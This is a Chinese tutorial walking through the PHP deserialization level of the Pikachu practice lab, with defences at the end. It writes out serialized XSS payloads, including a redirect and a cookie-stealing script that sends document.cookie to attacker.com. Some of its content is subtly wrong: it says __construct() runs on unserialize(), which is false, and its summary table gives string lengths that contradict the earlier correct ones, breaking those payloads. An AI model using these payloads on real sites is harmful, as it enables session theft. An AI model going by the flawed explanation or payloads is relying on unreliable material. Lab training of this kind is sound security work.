PHP反序列化

序列化(Serialization):是指将对象或数据结构转换为可存储或传输的字符串格式的过程。

反序列化(Unserialization):是将这个字符串重新还原为原始对象的过程。

序列化格式示例:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

格式解析

  • O:代表对象(Object)
  • 1:类名长度为1个字符
  • "S":类名为 S
  • 1:类中属性数量为1个
  • {...}:属性键值对内容
    • s:4:"test":属性名为字符串,长度4,值为 test
    • s:7:"pikachu":属性值为字符串,长度7,值为 pikachu

漏洞成因

  • 反序列化的内容是用户可控的
  • 程序中存在可被利用的魔法函数__destruct()__wakeup()__toString() 等)
  • 未对反序列化的数据进行过滤和验证

一、白盒审计(源码分析)

访问 unser.php 文件,查看源码:

// 关键代码
class S{
    var $test = "pikachu";
    
    function __construct(){
        echo $this->test;
    }
}

if(isset($_POST['o'])){
    $s = $_POST['o'];
    // 直接反序列化用户输入,未做任何过滤
    if(!@$unser = unserialize($s)){
        $html .= "<p>大兄弟,来点劲爆点儿的!</p>";
    } else {
        $html .= "<p>{$unser->test}</p>";
    }
}

漏洞成因

  • 定义了一个 S 类,包含 $test 属性和 __construct() 构造函数
  • __construct() 在对象创建时自动调用,会输出 $test 的值
  • 程序直接对用户POST提交的 o 参数进行反序列化操作,未做任何过滤或验证
  • 攻击者可以构造恶意的序列化字符串,在反序列化时触发代码执行或XSS

可用的魔法函数分析

魔法函数

触发时机

利用价值

__construct()

对象创建时自动调用

可用:输出 $test 属性值

__destruct()

对象销毁时自动调用

潜在利用点

__wakeup()

反序列化时自动调用

潜在利用点

__toString()

对象被当作字符串使用时调用

潜在利用点

二、反序列化实战分析

第一步:理解正常序列化输出

编写PHP代码生成序列化字符串:

<?php
class S{
    public $test = "pikachu";
}
$s = new S();
echo serialize($s);
?>

输出结果:

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

第二步:正常反序列化

在靶场输入框中输入序列化字符串:

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

点击提交,页面输出 pikachu

第三步:注入XSS Payload

构造恶意序列化字符串

编写PHP代码生成包含XSS Payload的序列化字符串:

<?php
class S{
    public $test = "<script>alert('XSS')</script>";
}
$s = new S();
echo serialize($s);
?>

输出结果:

提交Payload

在输入框中输入:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('XSS')</script>";}

点击提交,页面弹出 XSS 弹窗。

Payload解析

  • 反序列化时创建 S 对象
  • __construct() 构造函数被自动调用
  • 输出 $test 属性的值:<script>alert('XSS')</script>
  • 浏览器解析并执行了恶意脚本

第四步:利用反序列化实现恶意跳转

构造恶意跳转Payload:

<?php
class S{
    public $test = "<script>window.location.href='http://www.baidu.com'</script>";
}
$s = new S();
echo serialize($s);
?>

输出结果:

O:1:"S":1:{s:4:"test";s:60:"<script>window.location.href='http://www.baidu.com'</script>";}

提交后页面自动跳转到百度。

第五步:读取敏感信息(Cookie窃取)

构造窃取Cookie的Payload:

<?php
class S{
    public $test = "<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>";
}
$s = new S();
echo serialize($s);
?>

输出结果:

O:1:"S":1:{s:4:"test";s:75:"<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>";}

提交后,Cookie会被发送到攻击者服务器。

三、PHP反序列化常用魔法函数

魔法函数

触发时机

利用场景

__construct()

对象创建时自动调用

初始化操作,可能包含危险函数

__destruct()

对象销毁时自动调用

最常用:执行系统命令、文件操作等

__wakeup()

反序列化时自动调用

反序列化后的初始化操作

__sleep()

序列化前自动调用

指定需要序列化的属性

__toString()

对象被当作字符串使用时调用

输出可控内容,可能导致XSS

__call()

调用不存在的方法时调用

动态方法调用,可能触发危险操作

__get()

读取不可访问属性时调用

属性劫持

__set()

写入不可访问属性时调用

属性劫持

__invoke()

对象被当作函数调用时调用

执行任意代码

四、实战利用流程图

1. 代码审计
   ↓
2. 寻找可利用的魔法函数
   ↓
3. 构造恶意对象
   ↓
4. 序列化生成Payload
   ↓
5. 提交Payload触发反序列化
   ↓
6. 魔法函数自动执行
   ↓
7. 实现攻击目标(XSS/命令执行/文件读取等)

五、各Payload总结

Payload类型

序列化字符串

效果

正常输出

O:1:"S":1:{s:4:"test";s:7:"pikachu";}

输出 pikachu

XSS弹窗

O:1:"S":1:{s:4:"test";s:30:"<script>alert('XSS')</script>";}

弹出XSS警告框

恶意跳转

O:1:"S":1:{s:4:"test";s:65:"<script>window.location.href='http://www.baidu.com'</script>";}

跳转到百度

Cookie窃取

O:1:"S":1:{s:4:"test";s:93:"<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>";}

窃取Cookie

六、防御措施

防御措施

说明

禁止反序列化不可信数据

永远不要对用户输入的数据进行反序列化操作

使用白名单类

只允许反序列化指定的安全类(PHP 7.0+ 的 allowed_classes 选项)

输入验证

对反序列化前的字符串进行严格校验

禁用危险函数

php.ini 中禁用 exec()system()eval() 等危险函数

最小权限原则

限制PHP运行用户的权限

使用安全替代方案

使用 JSON(json_encode / json_decode)替代序列化

七、核心结论

  1. 序列化/反序列化本身不是漏洞,漏洞产生于对用户可控数据进行反序列化,且配合可被利用的魔法函数
  2. PHP反序列化漏洞的核心是魔法函数的自动调用链:
    • 用户提交恶意序列化字符串 → unserialize() → 创建对象 → 触发 __construct() / __wakeup() → 对象销毁 → 触发 __destruct() → 执行恶意代码
  1. 防御的根本在于永远不要反序列化不可信数据。如果必须使用,应严格限制允许反序列化的类和属性。
  2. 本关卡的漏洞链条
    • 用户可控输入 → 直接 unserialize() → 创建 S 对象 → 触发 __construct() → 输出 $test 值 → 浏览器执行XSS代码

更多推荐